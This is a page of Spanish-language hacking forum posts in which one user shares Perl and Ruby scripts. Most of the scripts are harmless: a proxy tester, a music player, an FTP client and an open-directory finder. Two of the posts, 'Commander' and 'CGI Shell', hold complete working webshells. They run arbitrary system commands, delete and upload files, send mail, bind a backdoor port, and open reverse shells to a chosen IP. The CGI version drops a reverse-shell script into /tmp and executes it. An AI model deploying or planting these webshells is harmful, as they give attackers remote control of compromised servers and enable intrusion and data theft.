elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Temas
Páginas: 1 ... 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38 39 40 41 42 43
351  Programación / Scripting / [Ruby] Proxy Tester en: 16 Octubre 2011, 02:49 am
Un simple programa para testear proxies

Código
  1. #!usr/bin/ruby
  2. #ProxyTester (C) Doddy Hackman 2011
  3.  
  4. require 'net/http'
  5.  
  6.  
  7. def uso
  8.  print "\n[+] proxy.rb <file>\n"
  9. end
  10.  
  11. def head()
  12.  print "\n\n -- == Proxy Tester == --\n\n"
  13. end
  14.  
  15. def copyright()
  16.   print "\n\n(C) Doddy Hackman 2011\n\n"
  17.   exit(1)
  18. end
  19.  
  20. def testar(tengo)
  21.  
  22. if tengo=~/(.*):(.*)/
  23. host = $1
  24. port = $2
  25. begin
  26.  
  27. new = Net::HTTP.new(proxy=host,proxy_port=port)
  28. code = new.get("http://127.0.0.1/sql.php")#http://www.petardas.com
  29. case code
  30.  when Net::HTTPSuccess
  31.  print "[Proxy Found] : #{host}:#{port}\n"
  32. end
  33. rescue
  34. end
  35. end
  36. end
  37.  
  38.  
  39. head()
  40. if !ARGV[0]
  41.  uso()
  42. else
  43. archivo = File.open(ARGV[0])
  44. print "\n[+] Scanning file\n\n\n"
  45. lineas = archivo.readlines
  46. lineas.each {
  47. |linea|
  48. linea = linea.chomp
  49. testar(linea) #funcion
  50. }
  51. archivo.close
  52. copyright()  
  53. end
  54. copyright()
  55.  
  56. # ¿ The End ?
  57.  
352  Programación / Scripting / [Perl] Commander en: 14 Octubre 2011, 15:28 pm
Bueno este programa es un webserver en perl con la siguientes opciones

* Listar directorios
* Ver archivos
* Borrar directorios y archivos
* ReverseShell
* BindPort


Código
  1. #!usr/bin/perl
  2. #
  3. #C0mmand3r (C) Doddy HAckman 2011
  4. #Version 0.1
  5. #
  6. #A simple WebShell in Perl
  7. #
  8. #
  9.  
  10. use IO::Socket;
  11. use CGI;
  12. use Cwd;
  13. use HTML::Entities;
  14. use URI::Escape;
  15. use Win32;
  16. use Net::hostent;
  17.  
  18. my $port = rep();
  19.  
  20. sub rep {
  21. unless($ARGV[0]) {
  22. return int("666"); #Your Can Edit 666
  23. } else {
  24. return int($ARGV[0]);
  25. }
  26. }
  27.  
  28. print "\n\n#########################################\n\n";
  29. print "C0mmand3r (C) Doddy HAckman 2011\n\n\n";
  30. print "[+] Starting the webshell on port $port\n\n";
  31. print "#########################################\n\n";
  32.  
  33.  
  34. my $sock = new IO::Socket::INET(
  35. LocalHost => 'localhost',
  36. LocalPort => $port,
  37. Proto     => 'tcp',
  38. Listen    => SOMAXCONN,
  39. Reuse     => 1);
  40.  
  41.  
  42. while ($jebus = $sock->accept()) {
  43.  
  44.  
  45. print $jebus "HTTP/1.1 200/OK\r\nContent-type:text/html\r\n\r\n";
  46. #print $jebus "HTTP/1.1 200/OK\r\nContent-type:application/w-www-form-urlencoded\r\n\r\n";
  47. next if $slave=fork;
  48.  
  49. close $sock;
  50.  
  51. while ($response = <$jebus>) {
  52.  
  53. chomp($response);
  54.  
  55. my %rta;
  56.  
  57.  
  58. if ($response=~/GET/ig) {
  59. capturar($response);
  60. }
  61.  
  62.  
  63. sub capturar {
  64. my $aa = shift;
  65. chomp $aa;
  66. if ($aa=~/GET \/(.*) HTTP\/1.1/ig) {
  67. my $todo = $1;
  68. if ($todo=~/\?(.*)=(.*)&(.*)=(.*)/ig) {
  69. $rta{$1} = $2;
  70. $rta{$3} = $4;
  71. }
  72. if ($todo=~/\?(.*)=(.*)/ig) {
  73. $rta{$1} = $2;
  74. }
  75. }
  76.  
  77.  
  78. }
  79.  
  80. print $jebus "
  81.  
  82. <html><body><title>Commander (C) Doddy Hackman 2011</title>
  83.  
  84. <style type=text/css>
  85.  
  86. .main {
  87. margin : -287px 0px 0px -490px;
  88. border : White solid 1px;
  89. BORDER-COLOR: cyan;
  90. }
  91.  
  92.  
  93. #pie {
  94. position: absolute;
  95. bottom: 0;
  96. }
  97.  
  98. body,a:link {
  99. background-color: #000000;
  100. color:cyan;
  101. Courier New;
  102. cursor:crosshair;
  103. font-size: small;
  104. }
  105.  
  106. input,table.outset,table.bord,table,textarea,select {
  107. font: normal 10px Verdana, Arial, Helvetica,
  108. sans-serif;
  109. background-color:black;color:cyan;
  110. border: solid 1px cyan;
  111. border-color:cyan
  112. }
  113.  
  114. a:link,a:visited,a:active {
  115. color: cyan;
  116. font: normal 10px Verdana, Arial, Helvetica,
  117. sans-serif;
  118. text-decoration: none;
  119. }
  120.  
  121. </style>
  122.  
  123.  
  124. <h2><center>Commander WebShell</center></h2>
  125.  
  126. ";
  127.  
  128.  
  129. if ($rta{'loadfile'}) {
  130.  
  131. my $file = uri_unescape($rta{'loadfile'});
  132.  
  133.  
  134. print $jebus "<br><h2><center>File ".$file."</h2></center><br><br>";
  135.  
  136. if (-f $file) {
  137.  
  138. print $jebus "<center><textarea name=codefile cols=70 rows=70>";
  139.  
  140. open (FILE,$file);
  141. @words = <FILE>;
  142. close FILE;
  143.  
  144. for (@words) {
  145. print $jebus HTML::Entities::encode($_);
  146. }
  147. print $jebus "
  148. </textarea></center>
  149. </center><br><br>
  150. </form>
  151. ";
  152.  
  153. exit(1);
  154. }
  155. }
  156.  
  157. print $jebus "
  158. <br><br>
  159. <b>Console</b>
  160. <br><br>
  161. <fieldset>";
  162.  
  163.  
  164. if ($rta{'cmd'}) {
  165. print $jebus qx($rta{'cmd'});
  166. }
  167.  
  168.  
  169. elsif ($rta{'loadir'}) {
  170. my $dir = uri_unescape($rta{'loadir'});
  171. print "recibi $dir\n\n";
  172. if (-d $dir) {
  173. opendir DIR,$dir;
  174. my @archivos = readdir DIR;
  175. close DIR;
  176.  
  177. for(@archivos) {
  178.  
  179. if (-d $_) {
  180. print $jebus "<b>".$_."</b><br>";
  181. } else {
  182. print $jebus $_."<br>";
  183. }}}}
  184.  
  185. elsif ($rta{'delfile'}) {
  186.  
  187. my $file = uri_unescape($rta{'delfile'});
  188.  
  189.  
  190. if (-f $file) {
  191.  
  192. if (unlink($file)) {
  193. print $jebus "<script>alert('File Deleted');</script>";
  194. } else {
  195. print $jebus "<script>alert('Error');</script>";
  196. }
  197. }
  198. }
  199.  
  200. elsif ($rta{'deldir'}) {
  201.  
  202. my $dir = uri_unescape($rta{'deldir'});
  203.  
  204. if (-d $dir) {
  205. if (rmdir($dir)) {
  206. print $jebus "<script>alert('Directory Deleted');</script>";
  207. } else {
  208. print $jebus "<script>alert('Error');</script>";
  209. }
  210. }
  211. }
  212.  
  213. elsif ($rta{'ipconnect'}) {
  214. print $rta{'ipconnect'}."\n";
  215. print $rta{'port'}."\n";
  216. conectar($rta{'ipconnect'},$rta{'port'});
  217. tipo();
  218.  
  219. sub conectar {
  220. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
  221. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  222. open (STDIN,">&REVERSE");
  223. open (STDOUT,">&REVERSE");
  224. open (STDERR,">&REVERSE");
  225. }
  226.  
  227. sub tipo {
  228. print "\n[*] Reverse Shell Starting...\n\n";
  229. if ($^O =~/Win32/ig) {
  230. infowin();
  231. system("cmd.exe");
  232. } else {
  233. infolinux();
  234. #root();  
  235. system("export TERM=xterm;exec sh -i");
  236. }
  237. }
  238.  
  239. sub infowin {
  240. print "[+] Domain Name : ".Win32::DomainName()."\n";
  241. print "[+] OS Version : ".Win32::GetOSName()."\n";
  242. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  243. }
  244.  
  245. sub infolinux {
  246. print "[+] System information\n\n";
  247. system("uname -a");
  248. print "\n\n";
  249. }
  250. }
  251.  
  252. elsif($rta{'portbind'}) {
  253.  
  254. $backdoor = IO::Socket::INET->new(
  255. Proto     => 'tcp',
  256. LocalPort => $rta{'portbind'},
  257. Listen    => SOMAXC,
  258. Reuse     => 1);
  259.  
  260.  
  261. while ($jesus = $backdoor->accept()) {
  262. $jesus->autoflush(1);
  263. print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
  264. print $jesus "Welcome  ".$jesus->peerhost."\n\n";
  265. &extras;
  266. $dir = getcwd();
  267. print $jesus $dir.">>";
  268. while (<$jesus>) {
  269. my $yeah = qx($_);
  270. print $jesus "\n\n".$yeah."\n\n";
  271. print $jesus $dir.">>";
  272. }
  273. }
  274.  
  275. sub extras {
  276.  
  277. if ($^O =~//ig) {
  278. print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
  279. print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
  280. print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";
  281. } else {
  282. $s =  qx("uname -a");
  283. print $jesus "--==System Info==--\n\n".$s;
  284. }
  285. }
  286. } else {
  287.  
  288. opendir DIR,getcwd();
  289. my @archivos = readdir DIR;
  290. close DIR;
  291.  
  292. for(@archivos) {
  293. if (-d $_) {
  294. print $jebus "<b>".$_."</b><br>";
  295. } else {
  296. print $jebus $_."<br>";
  297. }}
  298.  
  299. }
  300.  
  301. print $jebus "</fieldset>
  302. <br><br>
  303. <form action='' method=GET>
  304. <b>Command</b> : <input type=text name=cmd size=100 value=ver><input type=submit value=Send><br>
  305. </form>
  306. <form action='' method=GET>
  307. <B>Load directory</B> : <input type=text size=100 name=loadir value=".getcwd()."><input type=submit value=Load>
  308. </form>
  309. <form action='' method=GET>
  310. <b>Load File</b> : <input type=text size=100 name=loadfile value=".getcwd()."><input type=submit value=Load>
  311. </form>
  312. <form action='' method=GET>
  313. <b>Delete File</b> : <input type=text size=100 name=delfile value=".getcwd()."><input type=submit value=Del>
  314. </form>
  315. <form action='' method=GET>
  316. <b>Delete Directory</b> : <input type=text size=100 name=deldir><input type=submit value=Del>
  317. </form>
  318. <br><br><b>ReverseShell</b><br><br>
  319. <form action='' method=GET>
  320. <b>Your IP</B> : <input type=text name=ipconnect value=localhost><br>
  321. <b>Port</b> : <input type=text name=port value=666><br>
  322. <br><input type=submit value=Connect></form><br><br>
  323.  
  324. <b>BindPort</b><br><br>
  325. <form action='' method=GET>
  326. <b>Port</b> : <input type=text name=portbind value=666><br>
  327. <br><input type=submit value=Bind></form><br><br>
  328.  
  329.  
  330. </body></html>
  331. ";
  332.  
  333. $jebus->close;
  334.  
  335. }
  336.  
  337. } continue {
  338. $jebus->close;
  339. }
  340.  
  341. # ¿ The End ?  
  342.  
353  Programación / Scripting / [Perl] CGI Shell en: 14 Octubre 2011, 15:27 pm
Hola a todos

Hoy eh terminado de hacer un shell en cgi , estas shells se usan en las paginas que pemiten ejecutar archivos cgi y tienen el directorio cgi-bin

Esta shell tiene las sig opciones

* Listar directorios
* Ver y editar archivos
* Eliminar archivos y directorios
* ReverseShell
* Subir archivos a un directorio especificado
* Ejecutar comandos
* Enviar mails

Código
  1. #!"\xampp\perl\bin\perl.exe"
  2. #
  3. #CGI Shell 0.1
  4. #
  5. #(C) Doddy Hackman 2011
  6. #
  7. #
  8.  
  9. use CGI;
  10. use Cwd;
  11. use HTML::Entities;
  12. use Net::SMTP;
  13.  
  14. my %rta;
  15.  
  16. my $que = new CGI;
  17. my @ques = $que->param;
  18.  
  19. for(@ques) {
  20. $rta{$_} = $que->param($_);
  21. }
  22.  
  23.  
  24. print "Content-type:text/html\n\n";
  25.  
  26. <style type=text/css>
  27.  
  28.  
  29. .main {
  30. margin : -287px 0px 0px -490px;
  31. border : White solid 1px;
  32. BORDER-COLOR: #00FF00;
  33. }
  34.  
  35.  
  36. #pie {
  37. position: absolute;
  38. bottom: 0;
  39. }
  40.  
  41. body,a:link {
  42. background-color: #000000;
  43. color:#00FF00;
  44. Courier New;
  45. cursor:crosshair;
  46. font-size: small;
  47. }
  48.  
  49. input,table.outset,table.bord,table,textarea,select {
  50. font: normal 10px Verdana, Arial, Helvetica,
  51. sans-serif;
  52. background-color:black;color:#00FF00;
  53. border: solid 1px #00FF00;
  54. border-color:#00FF00
  55. }
  56.  
  57. a:link,a:visited,a:active {
  58. color: #00FF00;
  59. font: normal 10px Verdana, Arial, Helvetica,
  60. sans-serif;
  61. text-decoration: none;
  62. }
  63.  
  64. </style>
  65.  
  66. <title>CGI Shell (C) Doddy Hackman 2011</title>
  67. <h2><center>CGI Shell</center></h2>
  68.  
  69. ";
  70.  
  71. if ($rta{'filex'}) {
  72.  
  73. open FILE ,">>".$rta{'todir'}."/".$rta{'filex'};
  74. while($bytes = read($rta{'filex'},$todo, 1024)) {
  75. print FILE $todo;
  76. }
  77. close FILE;
  78.  
  79. print "<script>alert('File Uploaded');</script>";
  80.  
  81. }
  82.  
  83. if ($rta{'codefile'}) {
  84.  
  85. unlink($rta{'filecode'});
  86.  
  87. open (FILE,">>".$rta{'filecode'});
  88. print FILE $rta{'codefile'}."\n";
  89. close FILE;
  90.  
  91. print "<script>alert('File Changed');</script>";
  92.  
  93. }
  94.  
  95. if ($rta{'loadfile'}) {
  96. print "<form action='' method=POST>";
  97. print "<br><h2><center>File ".$rta{'loadfile'}."</h2></center><br><br>";
  98.  
  99. if (-f $rta{'loadfile'}) {
  100.  
  101. print "<center><textarea name=codefile cols=70 rows=70>";
  102.  
  103. open (FILE,$rta{'loadfile'});
  104. @words = <FILE>;
  105. close FILE;
  106.  
  107. for (@words) {
  108. print HTML::Entities::encode($_);
  109. }
  110. </textarea></center>
  111. <input type=hidden name=filecode value=".$rta{'loadfile'}.">
  112. <br><br><center><input type=submit value=Save></center><br><br>
  113. </form>
  114. ";
  115.  
  116. exit(1);
  117. }
  118. }
  119.  
  120. <br><br>
  121. <b>Console</b>
  122. <br><br>
  123. <fieldset>";
  124.  
  125.  
  126. if ($rta{'cmd'}) {
  127. print qx($rta{'cmd'});
  128. }
  129.  
  130. elsif ($rta{'mail'}) {
  131.  
  132. my $send = Net::SMTP->new("localhost",Hello => "localhost",Timeout=>10) or die("[-] Error");
  133. $send->mail($rta{'mail'});
  134. $send->to($rta{'to'});  
  135. $send->data();
  136. $send->datasend("To:".$rta{'to'}."\n"."From:".$rta{'mail'}."\n"."Subject:".$rta{'subject'}."\n".$rta{'body'}."\n\n");
  137. $send->dataend();
  138. $send->quit();
  139.  
  140. }
  141.  
  142.  
  143. elsif ($rta{'loadir'}) {
  144.  
  145. if (-d $rta{'loadir'}) {
  146.  
  147. opendir DIR,$rta{'loadir'};
  148. my @archivos = readdir DIR;
  149. close DIR;
  150.  
  151. for(@archivos) {
  152. if (-d $_) {
  153. print "<b>".$_."</b><br>";
  154. } else {
  155. print $_."<br>";
  156. }}}}
  157.  
  158. elsif (-f $rta{'delfile'}) {
  159. if (unlink($rta{'delfile'})) {
  160. print "<script>alert('File Deleted');</script>";
  161. } else {
  162. print "<script>alert('Error');</script>";
  163. }
  164. }
  165.  
  166. elsif (-d $rta{'deldir'}) {
  167. if (rmdir($rta{'deldir'})) {
  168. print "<script>alert('Directory Deleted');</script>";
  169. } else {
  170. print "<script>alert('Error');</script>";
  171. }
  172. }
  173.  
  174. elsif ($rta{'ipconnect'}) {
  175.  
  176. $code = '
  177. #!usr/bin/perl
  178. #Reverse Shell 0.1
  179. #By Doddy H
  180.  
  181. use IO::Socket;
  182.  
  183. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  184.  
  185. unless (@ARGV == 2) {
  186. print "[Sintax] : $0 <host> <port>\n\n";
  187. exit(1);
  188. } else {
  189. print "[+] Starting the connection\n";
  190. print "[+] Enter in the system\n";
  191. print "[+] Enjoy !!!\n\n";
  192. conectar($ARGV[0],$ARGV[1]);
  193. tipo();
  194. }
  195.  
  196. sub conectar {
  197. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
  198. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  199. open (STDIN,">&REVERSE");
  200. open (STDOUT,">&REVERSE");
  201. open (STDERR,">&REVERSE");
  202. }
  203.  
  204. sub tipo {
  205. print "\n[*] Reverse Shell Starting...\n\n";
  206. if ($^O =~/Win32/ig) {
  207. infowin();
  208. system("cmd.exe");
  209. } else {
  210. infolinux();
  211. #root();  
  212. system("export TERM=xterm;exec sh -i");
  213. }
  214. }
  215.  
  216. sub infowin {
  217. print "[+] Domain Name : ".Win32::DomainName()."\n";
  218. print "[+] OS Version : ".Win32::GetOSName()."\n";
  219. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  220. }
  221.  
  222. sub infolinux {
  223. print "[+] System information\n\n";
  224. system("uname -a");
  225. print "\n\n";
  226. }
  227.  
  228. #The End
  229. ';
  230.  
  231. if ($^O =~/Win32/ig) {
  232. open (FILE,">>"."back.pl");
  233. chmod("back.pl","777");
  234. } else {
  235. open (FILE,">>"."/tmp/back.pl");
  236. chmod("/tmp/back.pl","777");
  237. }
  238.  
  239. print FILE $code;
  240. close FILE;
  241.  
  242. if ($^O == "MSWin32") {
  243. system("back.pl ".$rta{'ipconnect'}." ".$rta{'port'});
  244. } else {
  245. system("cd /tmp;back.pl ".$rta{'ipconnect'}." ".$rta{'port'});
  246. }
  247. } else {
  248.  
  249. opendir DIR,getcwd();
  250. my @archivos = readdir DIR;
  251. close DIR;
  252.  
  253. for(@archivos) {
  254. if (-d $_) {
  255. print "<b>".$_."</b><br>";
  256. } else {
  257. print $_."<br>";
  258. }}
  259.  
  260. }
  261.  
  262. print "</fieldset>
  263. <br><br>
  264. <form action='' method=GET>
  265. <b>Command</b> : <input type=text name=cmd size=100 value=ver><input type=submit value=Send><br>
  266. </form>
  267. <form action='' method=GET>
  268. <B>Load directory</B> : <input type=text size=100 name=loadir value=".getcwd()."><input type=submit value=Load>
  269. </form>
  270. <form action='' method=GET>
  271. <b>Load File</b> : <input type=text size=100 name=loadfile value=".getcwd()."><input type=submit value=Load>
  272. </form>
  273. <form action='' method=GET>
  274. <b>Delete File</b> : <input type=text size=100 name=delfile value=".getcwd()."><input type=submit value=Del>
  275. </form>
  276. <form action='' method=GET>
  277. <b>Delete Directory</b> : <input type=text size=100 name=deldir><input type=submit value=Del>
  278. </form>
  279. <form enctype='multipart/form-data' method=POST>
  280. <br><b>Upload File</b> : <input type=file name=filex><br><br>
  281. <b>To dir</b> : <input type=text name=todir value=".getcwd()."><br><br>
  282. <input type=submit value=Upload>
  283. </form>
  284. <br><B>Mailer</b><br><br>
  285. <form action='' method=GET>
  286. <b>Mail</b> : <input type=text name=mail><br>
  287. <b>To</b> : <input type=text name=to><br>
  288. <b>Subject</B> : <input type=text name=subject><br>
  289. <B>Body</B> : <input type=text name=body><br><br>
  290. <input type=submit value=Send>
  291. </form>
  292. <br><br><b>ReverseShell</b><br><br>
  293. <form action='' method=GET>
  294. <b>IP</B> : <input type=text name=ipconnect><br>
  295. <b>Port</B> : <input type=text name=port><br>
  296. <br><input type=submit value=Connect></form><br><br>
  297.  
  298. ";
  299.  
  300.  
  301. # ¿ The End ?
354  Programación / Scripting / [Perl] DH Player en: 14 Octubre 2011, 15:26 pm
Bueno , este es un simple reproductor de musica que hice en perl
En esta version podran tener buscar musica y reproducirla todo en una ventana grosa

Código
  1. #!usr/bin/perl
  2. #DH Player 0.1
  3. #(C) Doddy Hackman 2011
  4.  
  5. use Tk;
  6. use Win32::MediaPlayer;
  7.  
  8. if ($^O eq 'MSWin32') {
  9. use Win32::Console;
  10. Win32::Console::Free();
  11. }
  12.  
  13.  
  14. $test = new Win32::MediaPlayer;
  15.  
  16. $new = MainWindow->new(-background=>"black");
  17. $new->geometry("350x420+20+20");
  18. $new->resizable(0,0);
  19. $new->title("DH Player 0.1 (C) Doddy Hackman 2011");
  20. $new->Label(-background=>"black",-foreground=>"green",-font=>"Impact",-text=>"Directory : ")->place(-x=>"20",-y=>"20");
  21. my $dir = $new->Entry(-background=>"black",-foreground=>"green",-text=>"C:\\Users\\Daniel\\Desktop\\WarFactory\\Perl\\musica")->place(-x=>"100",-y=>"25");
  22. $new->Button(-background=>"black",-foreground=>"green",-activebackground=>"green",-text=>"Search",-width=>"10",-command=>\&buscar)->place(-x=>"240",-y=>"25");
  23. $new->Label(-background=>"black",-foreground=>"green",-text=>"Files Found",-font=>"Impact")->place(-y=>"95",-x=>"120");
  24. my $lists = $new->Listbox(-background=>"black",-foreground=>"green")->place(-y=>"130",-x=>"100");
  25. $new->Button(-background=>"black",-foreground=>"green",-text=>"Play",-width=>"55",-activebackground=>"green",-command=>\&play)->place(-y=>"310");
  26. $new->Button(-background=>"black",-foreground=>"green",-text=>"Pause",-width=>"55",-activebackground=>"green",-command=>\&pause)->place(-y=>"333");
  27. $new->Button(-background=>"black",-foreground=>"green",-text=>"Resume",-width=>"55",-activebackground=>"green",-command=>\&resume)->place(-y=>"356");
  28. $new->Button(-background=>"black",-foreground=>"green",-text=>"Stop",-width=>"55",-activebackground=>"green",-command=>\&stop)->place(-y=>"379");
  29.  
  30.  
  31. MainLoop;
  32.  
  33.  
  34. sub play {
  35.  
  36. my $dir = $dir->get;
  37.  
  38. $d = $lists->curselection();
  39.  
  40. for my $id (@$d) {
  41. my $cancion = $lists->get($id);
  42. $test->load($dir."\\".$cancion);
  43. $test->play;
  44. }
  45.  
  46. }
  47.  
  48. sub stop {
  49. $test->close;
  50. }
  51.  
  52. sub pause {
  53.  
  54. my $dir = $dir->get;
  55.  
  56. $d = $lists->curselection();
  57.  
  58. for my $id (@$d) {
  59. my $cancion = $lists->get($id);
  60. $test->pause;
  61. }
  62.  
  63. }
  64.  
  65. sub resume {
  66.  
  67. my $dir = $dir->get;
  68.  
  69. $d = $lists->curselection();
  70.  
  71. for my $id (@$d) {
  72. my $cancion = $lists->get($id);
  73. $test->resume;
  74. }
  75.  
  76. }
  77.  
  78. sub buscar {
  79.  
  80. $lists->delete(0.0,"end");
  81.  
  82. #$dir = "C:\\Users\\Daniel\\Desktop\\WarFactory\\Perl\\musica";
  83.  
  84. my $dir = $dir->get;
  85.  
  86. opendir DIR,$dir;
  87.  
  88. my @archivos = readdir DIR;
  89.  
  90. close DIR;
  91.  
  92. chomp @archivos;
  93.  
  94. foreach my $file(@archivos) {
  95. if (-f $dir."\\".$file) {
  96. $lists->insert("end",$file);
  97. }
  98. }
  99.  
  100. }
  101.  
  102.  
  103. # ¿ The End ?
  104.  
  105.  
  106.  
355  Programación / Scripting / [Perl] Finder Paths en: 14 Octubre 2011, 15:25 pm
Hola hoy les traigo un programa para buscar los posibles directorios que no estan protegidos con index en una pagina

Código
  1. #!usr/bin/perl
  2. #Finder Paths
  3. #(C) Doddy Hackman 2010
  4.  
  5. use WWW::Mechanize;
  6. use HTTP::Response;
  7. use URI::Split qw(uri_split);
  8.  
  9. if ($^O =~/Win32/ig) { system("cls"); } else { system("clear"); }
  10.  
  11. my $new = WWW::Mechanize->new(autocheck => 0);
  12. $new->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
  13.  
  14. &head;
  15. unless($ARGV[0]) {
  16. &menu;
  17. } else {
  18. print "[Page] : $ARGV[0]\n\n";
  19. &scan($ARGV[0]);
  20. }
  21. &finish;
  22.  
  23. sub menu {
  24. print "[Page] : ";
  25. chomp(my $pa = <STDIN>);
  26. &scan($pa);
  27. }
  28.  
  29. sub finish {
  30. print "\n\n\n\n(C) Doddy Hackman 2010\n\n";
  31. <STDIN>;
  32. exit(1);
  33. }
  34.  
  35. sub scan {
  36. my @analizar;
  37. toma($_[0]);
  38. print "\n\n[Target confirmed] : $_[0]\n\n";
  39. print "[Status] : Scanning\n";
  40. @links = dame_link();
  41. for my $junt(@links) {
  42. my $com = $junt->url();
  43. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  44. if ($path=~/\/(.*)$/) {
  45. my $path1 = $1;
  46. $_[0] =~s/$path1//ig;
  47. my ($scheme, $auth, $path, $query, $frag)  = uri_split($com);
  48. if ($path =~/(.*)\//) {
  49. $code = toma($_[0].$1);
  50. my $found = $1;
  51. if ($code=~/Index Of (.*)<\/title>/ig) {
  52. $ok = 1;
  53. print "\n[Link] : ".$_[0].$found."\a";
  54. savefile("indexs-found.txt",$_[0].$found);
  55. }}}}
  56. if ($ok ne 1) {
  57. print "[Status] : Finish\n";
  58. }}
  59.  
  60. sub repes {
  61. foreach my $palabra ( @_ ) {
  62. next if $repety{ $palabra }++;
  63. push @revisado,$palabra;
  64. }
  65. return @revisado;
  66. }
  67.  
  68.  
  69. sub toma {
  70. return $new->get($_[0])->content;
  71. }
  72.  
  73. sub dame_link {
  74. return $new->find_all_links();
  75. }
  76.  
  77. sub savefile {
  78. open (SAVE,">>logs/".$_[0]);
  79. print SAVE $_[1]."\n";
  80. close SAVE;
  81. }
  82.  
  83.  
  84. sub head {
  85.  
  86.  
  87. ##########  #########  #########     #####   #   ##### ### ###  ###
  88. #  # #  ##  #  #   #   #  # #  #     #  #   #   # # #  #   #  #  #
  89. #    #  ##  #  #    #  #    #  #     #  #  # #    #    #   #  #  
  90. ###  #  # # #  #    #  ###  ###      ###   # #    #    #####   ##
  91. #    #  # # #  #    #  #    # #      #    #####   #    #   #     #
  92. #    #  #  ##  #   #   #  # #  #     #    #   #   #    #   #  #  #
  93. ###  ######  # #####   ########  #   ###  ### ### ###  ### ### ###
  94.  
  95.  
  96.  
  97.  
  98. );
  99. }
  100.  
  101.  
  102. #The end
  103. #Blog : doddy-hackman.blogspot.com
  104. #Mail : lepuke[at]hotmail[com]
  105.  
356  Programación / Scripting / [Perl] FTP Manager en: 14 Octubre 2011, 15:25 pm
Hoy eh terminado este simple cliente FTP el codigo es el siguiente

Código
  1. #!usr/bin/perl
  2. #FTP Manager
  3. #(C) Doddy Hackman 2010
  4.  
  5. use Net::FTP;
  6.  
  7. &head;
  8.  
  9. print "\n\n[FTP Server] : ";
  10. chomp (my $ftp = <stdin>);
  11. print "[User] : ";
  12. chomp (my $user = <stdin>);
  13. print "[Pass] : ";
  14. chomp (my $pass = <stdin>);
  15.  
  16.  
  17. if (my $socket = Net::FTP->new($ftp)) {
  18. if ($socket->login($user,$pass)) {
  19.  
  20. print "\n[+] Enter of the server FTP\n\n";
  21.  
  22. menu:
  23.  
  24. print "\n\n>>";
  25. chomp (my $cmd = <stdin>);
  26. print "\n\n";
  27.  
  28. if ($cmd=~/help/) {
  29.  
  30. help : show information
  31. cd : change directory <dir>
  32. dir : list a directory
  33. mdkdir : create a directory <dir>
  34. rmdir : delete a directory <dir>
  35. pwd : directory  
  36. del : delete a file <file>
  37. rename : change name of the a file <file1> <file2>
  38. size : size of the a file <file>
  39. put : upload a file <file>
  40. get : download a file <file>
  41. cdup : change dir <dir>
  42.  
  43.  
  44. );
  45. }
  46.  
  47. if ($cmd=~/dir/ig) {
  48. if (my @files = $socket->dir()) {
  49. for(@files) {
  50. print "[+] ".$_."\n";
  51. }
  52. } else {
  53. print "\n\n[-] Error\n\n";
  54. }
  55. }
  56.  
  57. if ($cmd=~/pwd/ig) {
  58. print "[+] Path : ".$socket->pwd()."\n";
  59. }
  60.  
  61. if ($cmd=~/cd (.*)/ig) {
  62. if ($socket->cwd($1)) {
  63. print "[+] Directory changed\n";
  64. } else {
  65. print "\n\n[-] Error\n\n";
  66. }
  67. }
  68.  
  69. if ($cmd=~/cdup/ig) {
  70. if (my $dir = $socket->cdup()) {
  71. print "\n\n[+] Directory changed\n\n";
  72. } else {
  73. print "\n\n[-] Error\n\n";
  74. }
  75. }
  76.  
  77. if ($cmd=~/del (.*)/ig) {
  78. if ($socket->delete($1)) {
  79. print "[+] File deleted\n";
  80. } else {
  81. print "\n\n[-] Error\n\n";
  82. }
  83. }
  84.  
  85. if ($cmd=~/rename (.*) (.*)/ig) {
  86. if ($socket->rename($1,$2)) {
  87. print "[+] File Updated\n";
  88. } else {
  89. print "\n\n[-] Error\n\n";
  90. }
  91. }
  92.  
  93. if ($cmd=~/mkdir (.*)/ig) {
  94. if ($socket->mkdir($1)) {
  95. print "\n\n[+] Directory created\n";
  96. } else {
  97. print "\n\n[-] Error\n\n";
  98. }
  99. }
  100.  
  101. if ($cmd=~/rmdir (.*)/ig) {
  102. if ($socket->rmdir($1)) {
  103. print "\n\n[+] Directory deleted\n";
  104. } else {
  105. print "\n\n[-] Error\n\n";
  106. }
  107. }
  108.  
  109. if ($cmd=~/exit/ig) {
  110. copyright();
  111. exit(1);
  112. }
  113.  
  114. if ($cmd=~/get (.*) (.*)/ig) {
  115. print "\n\n[+] Downloading file\n\n";
  116. if ($socket->get($1,$2)) {
  117. print "[+] Download completed";
  118. } else {
  119. print "\n\n[-] Error\n\n";
  120. }
  121. }
  122.  
  123. if ($cmd=~/put (.*) (.*)/ig) {
  124. print "\n\n[+] Uploading file\n\n";
  125. if ($socket->put($1,$2)) {
  126. print "[+] Upload completed";
  127. } else {
  128. print "\n\n[-] Error\n\n";
  129. }
  130. }
  131.  
  132. goto menu;
  133.  
  134. } else {
  135. print "\n\n[-] Failed the login\n\n";
  136. }
  137.  
  138. } else {
  139. print "\n\n[-] Error\n\n";
  140. }
  141.  
  142. sub head {
  143. print "\n\n -- == FTP Manager == --\n\n";
  144. }
  145.  
  146. sub copyright {
  147. print "\n\n(C) Doddy Hackman 2010\n\n";
  148. }
  149.  
  150.  
  151. # ¿ The End ?
  152.  
357  Programación / Scripting / [Perl] Funcion cambiar_fondo() en: 13 Octubre 2011, 17:15 pm
Hola a todos

Acabo de hacer un funcion usando las API de Windows para poder
cambiar el fondo de escritorio con solo poner la ruta de la
imagen

Código
  1.  
  2. #By Doddy H
  3.  
  4. use Win32::API;
  5.  
  6. sub cambiar_fondo {
  7.  
